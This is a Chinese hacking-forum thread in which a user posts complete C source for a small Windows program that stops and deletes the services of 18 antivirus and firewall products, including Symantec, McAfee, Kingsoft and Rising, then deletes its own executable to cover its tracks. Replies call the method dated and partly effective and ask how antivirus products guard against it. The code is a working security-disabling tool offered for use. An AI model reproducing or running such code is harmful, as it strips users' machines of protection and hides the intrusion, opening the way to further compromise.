[原创]发一个关闭防火墙的小程序
信息来源:邪恶八进制信息安全团队([url]www.eviloctal.com[/url])文章作者:uncledo
大家交流下吧!第一次写程序,比较粗糙,高手勿笑
在此先谢过asm 大哥,jozu 大哥!
会延迟很一个窗口!我已经尽量用多线程,提高了速度
可还是会闪一个窗口,高手请指教。。。。
自删除,多线程!附加一个小提示!
欢迎拍砖! 又要去忙电路的考试了..呵呵..
[language=c]
///////////会延迟很一个窗口!我已经尽量用多线程,提高了速度
//////////可还是会闪一个窗口,高手请指教。。。。
#include <windows.h>
#include <tchar.h>
#include <shlobj.h>
#include <stdio.h>
#include <process.h>/////// _begintheadex();
#pragma comment(lib, "Shell32.lib")
#define ERROR_RET 1
#define ERROR_SUC 0
#define COMSPEC TEXT("COMSPEC")
#define ARGS_PREX TEXT(" /c del ")
#define ARGS_ERR_REDIR TEXT(" >NUL")
int i;
char name[18][25]={
"RsCCenter",
"KVSrvXP",
"kavsvc",
"KPfwSvc",
"KWatchSvc",
"wscsvc",
"SNDSrvc",
"ccProxy",
"ccEvtMgr",
"ccSetMgr",
"SPBBCSvc",
"Symantec Core LC",
"navapsvc",
"NPFMntor",
"MskService",
"McTaskManager",
"McShield",
"McAfeeFramework"
};
///////////////////////////
/////////从asm大哥那儿翻译过来的!谢了先!
DWORD remove(LPVOID s)
{ SC_HANDLE service ,scm;
BOOL success;
SERVICE_STATUS status ;
///////starting connect
if((scm=OpenSCManager(NULL,NULL,SC_MANAGER_ALL_ACCESS))==NULL)
{
/// printf("OpenSCManager Error\n");
}
////////////////////兄弟们呀,下面的s 一定要用转化呀
service=OpenService(scm,(char*)s,SERVICE_ALL_ACCESS|DELETE);
if(!service)
{
/// printf("OpenService error!\n");
}
success=QueryServiceStatus(service,&status);
if (!success)
{
//// printf("QueryServiceStatus error!\n");
}
if ( status.dwCurrentState!=SERVICE_STOPPED )
{
success=ControlService(service,SERVICE_CONTROL_STOP,&status);
if (!success )
{
/// printf("failed!!\n");
}
Sleep(50);
}
if( success=DeleteService(service))
printf("remove success!\n");
else
printf("remove failed!!\n");
CloseServiceHandle(service);
CloseServiceHandle(scm);
return NULL;
}
int main(int argc, char** argv)
{
char version[]="***************close fire wall****************\n***************[url]www.eviloctal.com[/url]**************\n***************code by uncledo****************\n***************[email]uncledo@163.com[/email] ***************\n";
char newname[]="evilocta.txt";
FILE *pfile=fopen(newname,"w");
fprintf(pfile,"%s",version);
//////fprintf(pfile, "%s firewall removed\n",*(char*)s);
///////////多线程
HANDLE thd[18];
DWORD tid;
////为了在Visual C++ 6 IDE中使用多线程库,首先要激活“Project | Settings”属性页。
////然后选择“C/C++”选项卡。接着在“Category”下拉列表框中选择“Code Generation”,
////然后在“Use Runtime Library ”下拉列表框中选择“Multithreaded”/
for(i=0;i<18;i++)
{thd[i]=CreateThread(NULL,
0,
(LPTHREAD_START_ROUTINE)remove,//////////////////
&name[i][25],
0,
&tid);
Sleep(50);///验证线程!
}
fclose(pfile);
/////////////自删除代码用的是jozu 大哥的,先谢过了!!
TCHAR szModuleName[MAX_PATH] = { 0 };
TCHAR szCommand[MAX_PATH] = { 0 };
TCHAR szParams[MAX_PATH] = { 0 };
STARTUPINFO si = { sizeof(STARTUPINFO) };
PROCESS_INFORMATION pi;
if(!GetModuleFileName(NULL, szModuleName, MAX_PATH))
return ERROR_RET;
if(!GetShortPathName(szModuleName, szModuleName, MAX_PATH))
return ERROR_RET;
if(!GetEnvironmentVariable(COMSPEC, szCommand, MAX_PATH))
return ERROR_RET;
_tcscat(szCommand, ARGS_PREX);
_tcscat(szCommand, szModuleName);
_tcscat(szCommand, ARGS_ERR_REDIR);
if(SetPriorityClass(GetCurrentProcess(),
REALTIME_PRIORITY_CLASS))
{
if(SetThreadPriority(GetCurrentThread(),
THREAD_PRIORITY_TIME_CRITICAL))
{
//
if(CreateProcess(NULL,
szCommand,
NULL,
NULL,
FALSE,
0,
NULL,
NULL,
&si,
&pi))
{
SetPriorityClass(pi.hProcess,
IDLE_PRIORITY_CLASS);
SetProcessPriorityBoost(pi.hProcess,
TRUE);
SHChangeNotify(SHCNE_DELETE,
SHCNF_PATH,
szModuleName,
NULL);
return TRUE;
}
}
else
{
SetPriorityClass(GetCurrentProcess(),
NORMAL_PRIORITY_CLASS);
}
}
return ERROR_RET;
}
[/language] 现在这种方法很过时了,基本上没什么用,文章没什么技术性,
给邪八丢脸了.....!!!
想当时发的时候一时脑热,本以为冰血会删掉的...
个人在邪八学了不少知识.呵呵,很是感谢,
下次争取写一个有含量的文章!
如果可以的话,斑竹请删掉它,现在看到它我就脸红.... 还不算太过时,听说似乎能够对付金山密保。 和BAT一个意思,部分有效 对最新版的瑞星好像没有用.......
回复 沙发 uncledo 的帖子
讨论一下难道就没有大家需要改进的地方么??
那现在杀毒软件方面是怎么防护这中方法的啊
页:
[1]